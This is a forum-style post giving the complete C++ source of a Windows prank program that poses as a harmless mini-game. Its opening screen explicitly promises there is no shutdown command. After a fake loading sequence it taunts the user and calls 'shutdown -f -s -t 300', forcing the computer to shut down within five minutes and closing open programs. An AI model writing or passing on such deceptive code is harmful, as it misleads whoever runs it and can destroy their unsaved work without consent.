程序如下:
#include<bits/stdc++.h> //编个游戏,不顾一切的用万能
#include<windows.h>
using namespace std;
char a;
int main()
{
cout<<"______________________________________"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| 欢迎来到智障小游戏 |"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"______________________________________";
Sleep(2000);
system("Cls");
cout<<"______________________________________"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| 欢迎来到智障小游戏 |"<<endl;
cout<<"| 请放心游玩, |"<<endl;
cout<<"| |"<<endl;
cout<<"______________________________________";
Sleep(2000);
system("Cls");
cout<<"______________________________________"<<endl;
cout<<"| |"<<endl;
cout<<"| |"<<endl;
cout<<"| 欢迎来到智障小游戏 |"<<endl;
cout<<"| 请放心游玩, |"<<endl;
cout<<"| 无任何关机指令! |"<<endl;
cout<<"______________________________________"<<endl;
Sleep(1000);
cout<<"作者:"<<endl;
Sleep(1000);
cout<<"原"<<endl;
Sleep(1000);
cout<<"大"<<endl;
Sleep(1000);
cout<<"帅";
Sleep(2000);
system("Cls");
Sleep(1000);
for(int i=1;i<=5;i++)
{
system("Cls");
printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
cout<<" ";
cout<<"加载中";
Sleep(1000);
cout<<".";
Sleep(1000);
cout<<".";
Sleep(1000);
cout<<".";
Sleep(1000);
}
for(int i=1;i<=100;i++)
{
printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
cout<<" ";
printf("%d",i);
cout<<"%";
Sleep(50);
system("Cls");
}
Sleep(1000);
cout<<"你特么还真信!"<<endl;
cout<<"给你两秒,不关掉这个程序我可就关机了!"<<endl;
Sleep(2000);
system("shutdown -f -s -t 300");
cout<<"你的电脑5分钟后将会关机!哈哈哈!"<<endl;
return 0;
}